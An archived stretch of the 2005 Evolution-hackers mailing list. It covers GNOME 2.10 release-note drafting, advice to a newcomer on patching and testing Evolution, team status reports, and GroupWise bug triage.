; Tue, 22 Feb 2005 08:31:38 -0800 (PST) From: Murray Cumming To: Evolution-Hackers List In-Reply-To: <1108907521.6107.6.camel@localhost.localdomain> References: <1107635723.3794.56.camel@localhost.localdomain> <1108907521.6107.6.camel@localhost.localdomain> Content-Type: text/plain Date: Tue, 22 Feb 2005 17:31:34 +0100 Message-Id: <1109089894.5588.1.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: 2.10 release notes: What's new? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: How about this?: GNOME's integrated Email and Groupware client, Evolution supports traditional mail setups, as well as Novell Groupwise and Microsoft Exchange. With Evolution you can read, write, and manage your emails, contacts, and calendar events. In GNOME 2.10 it's now easier to work offline with your email, calendar, and contacts if you use IMAP, LDAP, WebCal, Groupwise, or Exchange. Your changes will resynchronize when you go back online. (TODO: Is this an accurate description) This new version offers some other calendar improvements: - Files can be attached to events. - Exceptions can be made in recurring events. - The calendar includes weather information. And yet more new features: - Groupwise shared folders and send options are now supported. (TODO: What are "send options") - Exchange folder sizes and password expiry warnings are supported. - The email user interface will be properly mirrored for right-to-left languages. On Sun, 2005-02-20 at 14:52 +0100, Murray Cumming wrote: > I sent this to desktop-devel-list but maybe the evo maintainers didn't > see it. Could you add some information about what's new in Evolution for > GNOME 2.10, please? Thanks. > > On Sat, 2005-02-05 at 21:35 +0100, Murray Cumming wrote: > > It's time to think about the 2.10 release notes. > > > > Could GNOME maintainers please tell us about major user-visible changes > > in their modules, by editing this page: > > http://live.gnome.org/ReleaseNotes > > or just email them to me or the release-team if necessary. > > -- Murray Cumming murrayc@murrayc.com www.murrayc.com www.openismus.com From carlos.gonzalez@shaw.ca Tue Feb 22 18:01:52 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DC1C31244A8; Tue, 22 Feb 2005 18:01:52 -0500 (EST) Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id 4E8DE12432D for ; Tue, 22 Feb 2005 18:01:41 -0500 (EST) Received: from pd5mr7so.prod.shaw.ca (pd5mr7so-qfe3.prod.shaw.ca [10.0.141.183]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICC00MXJ59BHQ50@l-daemon> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:47 -0700 (MST) Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145]) by pd5mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICC00FB558ZD590@pd5mr7so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:35 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICC0042Z58Y01@l-daemon> for evolution-hackers@lists.ximian.com; Tue, 22 Feb 2005 16:00:34 -0700 (MST) Date: Tue, 22 Feb 2005 16:00:39 -0700 From: Carlos Gonzalez To: Evolution Hackers-List Message-id: <1109113239.31590.41.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] How to incorporate and test changes to code - an overview?? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi everyone, This is my first post on the list so bear with me if some of what I ask about seems like old hat to most of you :). I have been using Evolution for a few days now and find it a very worthwhile program. But I have been encountering lots of frustrating quirks to using it that I would like to change. Rather than waiting for changes to be made, if ever, through the more normal channels I prefer to make changes to the source code myself and recompile if necessary. It's the first open source program I have encountered that needs some changes pretty bad but which is already at a point of being quite useful. So it's worth it for me to do this. So...I am wondering first off if there is some kind of guide online for newbie hackers of the source code and where that might be? Secondly in a more general sense I am wondering about the whole methodology used in making changes to the source code such that I can make them and test them within a reasonable time period. Obviously I cannot wait to test a change by recompiling the source with every few changes. There must be a much faster way of doing this that Evolution programmers use but of which I am unaware. Do they build test scripts that can test individual functions? One at a time? Such that they can compile changes to the function quickly to test before incorporating into the source code tree? Lastly what is a good way to keep any changes I make while also making use of the latest stable builds to Evolution? Is it theoretically possible to download the entire source, for me to create and run a Perl or other script to patch the source code, and then to recompile so that I get the best and greatest from Evolution while also incorporating my changes. Any input on any or all of the above would be most appreciated. Some of evolutions quirks are starting to drive me nuts yet I don't want to cease using it since it's the best there is on Linux. Carlos From jpr@novell.com Tue Feb 22 21:28:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 40397124C5E; Tue, 22 Feb 2005 21:28:45 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 0F021124646 for ; Tue, 22 Feb 2005 21:28:29 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 22 Feb 2005 19:28:19 -0700 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: JP Rosevear To: Evolution Hackers mailing list Cc: evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108746179.6456.246.camel@bishop.rosevear.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 22 Feb 2005 21:28:06 -0500 Message-Id: <1109125686.20807.145.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-17.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > I got this alias setup for bugzilla in case we want to assign groupwise > related bugs there some how. > > Personally I'd prefer to keep the groupwise bugs assigned to individual > components with the groupwise keyword rather than create a separate > product (the GroupWise product in their now was a broken attempt at > tracking some server issues) or separate component. We don't put IMAP > or POP bugs in a separate component. However it is a little different > in this case because we have a specific group working on these bugs and > there are currently a lot of them. We could transfer the groupwise > keyword bugs that aren't assigned specifically right now to > evolution-groupwise-maintainers and periodically make sure the > assignment is right. This would cut down the bug traffic to > evolution-mail-maintainers, evolution-calendar-maintainers, etc. Ok, sounds like you guys want a groupwise component. Evolution or EDS or both? -JP -- JP Rosevear Novell, Inc. From notzed@ximian.com Wed Feb 23 03:08:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6A7EB124542; Wed, 23 Feb 2005 03:08:29 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 92F821243F0 for ; Wed, 23 Feb 2005 03:08:16 -0500 (EST) Received: (qmail 28516 invoked from network); 23 Feb 2005 08:08:15 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 08:08:15 -0000 From: Not Zed To: JP Rosevear Cc: gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1109051853.9149.138.camel@bishop.rosevear.com> References: <1109051853.9149.138.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-Omx0eVrINe7E0vqIfXKC" Date: Wed, 23 Feb 2005 16:06:30 +0800 Message-Id: <1109145990.31770.39.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-21.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-Omx0eVrINe7E0vqIfXKC Content-Type: text/plain Content-Transfer-Encoding: 7bit probably won make it, 11pm is too late for me lately i fixed a few bugs, more bugs to go i suppose. from last meeting: - didn' do the plugin compile split - didn't look at the composer cut/copy/paste bug - fixed the pop bug, but jeff hasn't reviewed it yet On Tue, 2005-02-22 at 00:57 -0500, JP Rosevear wrote: > Novell people, send a status report if you can't make it. 10am Boston time > (UTC -0500) on Wednesday. > > This meeting will take place on irc.gimp.org, #evolution-meet > > 1. JP > -2.1 development status > -2.1 bug assessment > -2.2.0 and 2.2.1 timeline > -Patch review mode reminder > -2.0.4 release > > 2. Team > -individual status reports > > 3. Additional Business > -questions, concerns, etc. > > -JP --=-Omx0eVrINe7E0vqIfXKC Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
probably won make it, 11pm is too late for me lately

i fixed a few bugs, more bugs to go i suppose.

from last meeting:
- didn' do the plugin compile split
- didn't look at the composer cut/copy/paste bug
- fixed the pop bug, but jeff hasn't reviewed it yet


On Tue, 2005-02-22 at 00:57 -0500, JP Rosevear wrote: 
Novell people, send a status report if you can't make it.  10am Boston time
(UTC -0500) on Wednesday.

This meeting will take place on irc.gimp.org, #evolution-meet

1. JP
-2.1 development status
-2.1 bug assessment
-2.2.0 and 2.2.1 timeline
-Patch review mode reminder
-2.0.4 release

2. Team
-individual status reports

3. Additional Business
-questions, concerns, etc.

-JP
--=-Omx0eVrINe7E0vqIfXKC-- From rodrigo@novell.com Wed Feb 23 08:49:30 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 365D3124C20; Wed, 23 Feb 2005 08:49:30 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 4AF1E124980 for ; Wed, 23 Feb 2005 08:49:18 -0500 (EST) Received: (qmail 28945 invoked from network); 23 Feb 2005 13:49:16 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 13:49:16 -0000 From: Rodrigo Moya To: Not Zed Cc: JP Rosevear , gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1109145990.31770.39.camel@lostzed.mmc.com.au> References: <1109051853.9149.138.camel@bishop.rosevear.com> <1109145990.31770.39.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Wed, 23 Feb 2005 14:46:30 +0100 Message-Id: <1109166390.15586.3.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-13.5 required=5.0 tests=BAYES_70,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-23 at 16:06 +0800, Not Zed wrote: > > probably won make it, 11pm is too late for me lately > probably won't make it neither, since it's in 1 hour and I have to go do some stuff out of home. So, my status: * completed JP's locking patch for calendar backends, waiting for approval on e-p * fixed an alarm daemon crash * fixed get_static_capabilities on weather backend, waiting for approval on e-p * changed save-calendar plugin to use gnome-vfs, thus fixing #71527, also waiting for approval on e-p * more bug hunting/patch approving Looking now at #70035 and 2.1 bugs in general -- Rodrigo Moya From mccannwj@pha.jhu.edu Wed Feb 23 12:48:16 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D72DD12425D; Wed, 23 Feb 2005 12:48:16 -0500 (EST) Received: from eta.pha.jhu.edu (eta.pha.jhu.edu [128.220.143.20]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 6B03D1241B4 for ; Wed, 23 Feb 2005 12:48:05 -0500 (EST) Received: from adcam.pha.jhu.edu (adcam-2.pha.jhu.edu [128.220.146.77]) by eta.pha.jhu.edu (8.12.8/8.12.4) with ESMTP id j1NHm3e0004906 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 23 Feb 2005 12:48:03 -0500 (EST) Received: from [128.220.146.40] (acs25 [128.220.146.40]) (authenticated bits=0) by adcam.pha.jhu.edu (8.12.9/8.12.9) with ESMTP id j1NHm3Jf028373 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 23 Feb 2005 12:48:03 -0500 (EST) Message-ID: <421CC0BC.1010903@pha.jhu.edu> Date: Wed, 23 Feb 2005 12:43:24 -0500 From: William Jon McCann Reply-To: William Jon McCann User-Agent: Mozilla Thunderbird 1.0 (X11/20041209) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carlos Gonzalez Cc: Evolution Hackers-List Subject: Re: [Evolution-hackers] How to incorporate and test changes to code - an overview?? References: <1109113239.31590.41.camel@localhost.localdomain> In-Reply-To: <1109113239.31590.41.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello Carlos, You may find some good information here: http://gnome.org/projects/evolution/developer.shtml In short: * Use jhbuild * Learn how to use CVS commands * Read the code and try to understand how it works (and there is plenty of it) * Follow the coding style of the file you change (evolution uses at least two distinct styles) * Always try to provide patches that apply to the very latest version from CVS HEAD. * Try to make your change affect as little code as possible * Thoroughly test your changes * The evolution hackers are, unfortunately, quite swamped so you may have to be patient when requesting feedback. Good luck, Jon Carlos Gonzalez wrote: > Hi everyone, > > This is my first post on the list so bear with me if some of what I ask > about seems like old hat to most of you :). > > I have been using Evolution for a few days now and find it a very > worthwhile program. But I have been encountering lots of frustrating > quirks to using it that I would like to change. Rather than waiting for > changes to be made, if ever, through the more normal channels I prefer > to make changes to the source code myself and recompile if necessary. > > It's the first open source program I have encountered that needs some > changes pretty bad but which is already at a point of being quite > useful. So it's worth it for me to do this. > > So...I am wondering first off if there is some kind of guide online for > newbie hackers of the source code and where that might be? > > Secondly in a more general sense I am wondering about the whole > methodology used in making changes to the source code such that I can > make them and test them within a reasonable time period. Obviously I > cannot wait to test a change by recompiling the source with every few > changes. There must be a much faster way of doing this that Evolution > programmers use but of which I am unaware. Do they build test scripts > that can test individual functions? One at a time? Such that they can > compile changes to the function quickly to test before incorporating > into the source code tree? > > Lastly what is a good way to keep any changes I make while also making > use of the latest stable builds to Evolution? Is it theoretically > possible to download the entire source, for me to create and run a Perl > or other script to patch the source code, and then to recompile so that > I get the best and greatest from Evolution while also incorporating my > changes. > > Any input on any or all of the above would be most appreciated. Some of > evolutions quirks are starting to drive me nuts yet I don't want to > cease using it since it's the best there is on Linux. > > Carlos > > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From rodrigo@novell.com Wed Feb 23 13:01:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id C965012418D; Wed, 23 Feb 2005 13:01:26 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7690512402F for ; Wed, 23 Feb 2005 13:01:15 -0500 (EST) Received: (qmail 29602 invoked from network); 23 Feb 2005 18:01:14 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 23 Feb 2005 18:01:14 -0000 Subject: Re: [Evolution-hackers] How to incorporate and test changes to code - an overview?? From: Rodrigo Moya To: William Jon McCann Cc: Carlos Gonzalez , Evolution Hackers-List In-Reply-To: <421CC0BC.1010903@pha.jhu.edu> References: <1109113239.31590.41.camel@localhost.localdomain> <421CC0BC.1010903@pha.jhu.edu> Content-Type: text/plain Date: Wed, 23 Feb 2005 18:58:32 +0100 Message-Id: <1109181512.375.2.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.3 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-23 at 12:43 -0500, William Jon McCann wrote: > Hello Carlos, > > You may find some good information here: > http://gnome.org/projects/evolution/developer.shtml > http://live.gnome.org/Evolution also has some information -- Rodrigo Moya From jpr@novell.com Wed Feb 23 16:05:55 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5962B124ABD; Wed, 23 Feb 2005 16:05:55 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 6FAAF124428 for ; Wed, 23 Feb 2005 16:05:43 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Wed, 23 Feb 2005 14:05:37 -0700 Subject: [Fwd: Re: [Evolution-hackers] evolution-groupwise-maintainers] From: JP Rosevear To: Evolution Hackers mailing list Content-Type: multipart/mixed; boundary="=-E+JbhAOZ/TlLbxvVl6ED" Organization: Novell, Inc. Date: Wed, 23 Feb 2005 16:05:23 -0500 Message-Id: <1109192724.1626.22.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,SIGNATURE_SHORT_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-E+JbhAOZ/TlLbxvVl6ED Content-Type: text/plain Content-Transfer-Encoding: 7bit (Not sure this made it to the list lists.x.c seems a little odd atm) -JP -- JP Rosevear Novell, Inc. --=-E+JbhAOZ/TlLbxvVl6ED Content-Disposition: inline Content-Description: Forwarded message - Re: [Evolution-hackers] evolution-groupwise-maintainers Content-Type: message/rfc822 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: JP Rosevear To: Harish Krishnaswamy Cc: ls@skeptopotamus.ximian.com, evolution-groupwise-maintainers@ximian.com In-Reply-To: <1109154327.24618.5.camel@emptyboat.blr.novell.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> <011201c51951$bdae9db0$0301a8c0@executivesontheweb.local> <1109154327.24618.5.camel@emptyboat.blr.novell.com> Content-Type: text/plain Organization: Novell, Inc. Date: Wed, 23 Feb 2005 16:04:22 -0500 Message-Id: <1109192662.1626.20.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit On Wed, 2005-02-23 at 15:55 +0530, Harish Krishnaswamy wrote: > On Wed, 2005-02-23 at 02:45 +0000, JP Rosevear wrote: > > On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > > > I got this alias setup for bugzilla in case we want to assign groupwise > > > related bugs there some how. > > > > > > Personally I'd prefer to keep the groupwise bugs assigned to individual > > > components with the groupwise keyword rather than create a separate > > > product (the GroupWise product in their now was a broken attempt at > > > tracking some server issues) or separate component. We don't put IMAP > > > or POP bugs in a separate component. However it is a little different > > > in this case because we have a specific group working on these bugs and > > > there are currently a lot of them. We could transfer the groupwise > > > keyword bugs that aren't assigned specifically right now to > > > evolution-groupwise-maintainers and periodically make sure the > > > assignment is right. This would cut down the bug traffic to > > > evolution-mail-maintainers, evolution-calendar-maintainers, etc. > > > > Ok, sounds like you guys want a groupwise component. Evolution or EDS > > or both? > > > > -JP > > Sorry if my earlier mail did not convey my thoughts clearly. I said yes > for the new alias (evo-gw-maintainers)- not necessarily for the creation > of new gw component. Moved the bugs. Sorry for the bug spam all. -JP -- JP Rosevear Novell, Inc. --=-E+JbhAOZ/TlLbxvVl6ED-- From linux@software.dk Thu Feb 24 09:12:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5EFEE1245C4; Thu, 24 Feb 2005 09:12:17 -0500 (EST) Received: from cicero0.cybercity.dk (cicero0.cybercity.dk [212.242.40.52]) by lists.ximian.com (Postfix) with ESMTP id F20001241D8 for ; Thu, 24 Feb 2005 09:12:05 -0500 (EST) Received: from user4.cybercity.dk (user4.cybercity.dk [212.242.41.50]) by cicero0.cybercity.dk (Postfix) with ESMTP id 52F0D28F3C for ; Thu, 24 Feb 2005 15:12:03 +0100 (CET) Received: from [10.0.0.2] (port349.ds1-ro.adsl.cybercity.dk [217.157.164.166]) by user4.cybercity.dk (Postfix) with ESMTP id BB6625017E for ; Thu, 24 Feb 2005 15:12:02 +0100 (CET) From: Soren Mathiasen Reply-To: linux@software.dk To: evolution-hackers@lists.ximian.com Content-Type: text/plain Organization: SSM Software Date: Thu, 24 Feb 2005 15:11:57 +0100 Message-Id: <1109254317.10582.3.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Open mail from commandline Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Is it possible to open up a specific mail in the Inbox from the command line ??? Cheers, Soren From Grand.Apeiron@gmx.net Thu Feb 24 10:36:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B8C2E124EB5; Thu, 24 Feb 2005 10:36:04 -0500 (EST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 0C4F41240D3 for ; Thu, 24 Feb 2005 10:35:53 -0500 (EST) Received: (qmail invoked by alias); 24 Feb 2005 15:35:51 -0000 Received: from 11-172-20-212.dsl.globvill.de (EHLO HAL-9006.gusanos-castillo) (212.20.172.11) by mail.gmx.net (mp010) with SMTP; 24 Feb 2005 16:35:51 +0100 X-Authenticated: #11895819 Subject: Re: [Evolution-hackers] Open mail from commandline From: Grand Apeiron To: evolution-hackers@lists.ximian.com In-Reply-To: <1109254317.10582.3.camel@localhost> References: <1109254317.10582.3.camel@localhost> Content-Type: text/plain Date: Thu, 24 Feb 2005 16:35:44 +0100 Message-Id: <1109259344.2478.20.camel@HAL-9006.gusanos-castillo> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: > Hi, > > Is it possible to open up a specific mail in the Inbox from the command > line ??? > > Cheers, Soren > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > Hi, as far as i know the mails are stored in an mbox format, at least when you receive mail via POP3 download. I am running evolution 2.0.3 and my mbfox files are stored somwhere under "~/.evolution/mail/local/Inbox.sbd". That was different when i was using evolution 1.4.x. If you can find your mbox files you should be able to open and read them via the mbox command. That information is only based on my personal experience. I am not an Evolution developer. With greetings from Munich, Grand Apeiron -- If I would be a tapeworm, I would prefer penguins. From jpr@novell.com Thu Feb 24 13:43:38 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 15C0D12444D; Thu, 24 Feb 2005 13:43:38 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C8D4D12488A for ; Thu, 24 Feb 2005 13:43:25 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Thu, 24 Feb 2005 11:43:09 -0700 From: JP Rosevear To: Evolution Hackers mailing list Content-Type: multipart/mixed; boundary="=-TvoLGBQoiX0v0izqaGxa" Organization: Novell, Inc. Date: Thu, 24 Feb 2005 13:42:49 -0500 Message-Id: <1109270570.6458.15.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: Yes, hits=8.2 required=5.0 tests=MAILTO_TO_SPAM_ADDR,MAILTO_WITH_SUBJ,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: 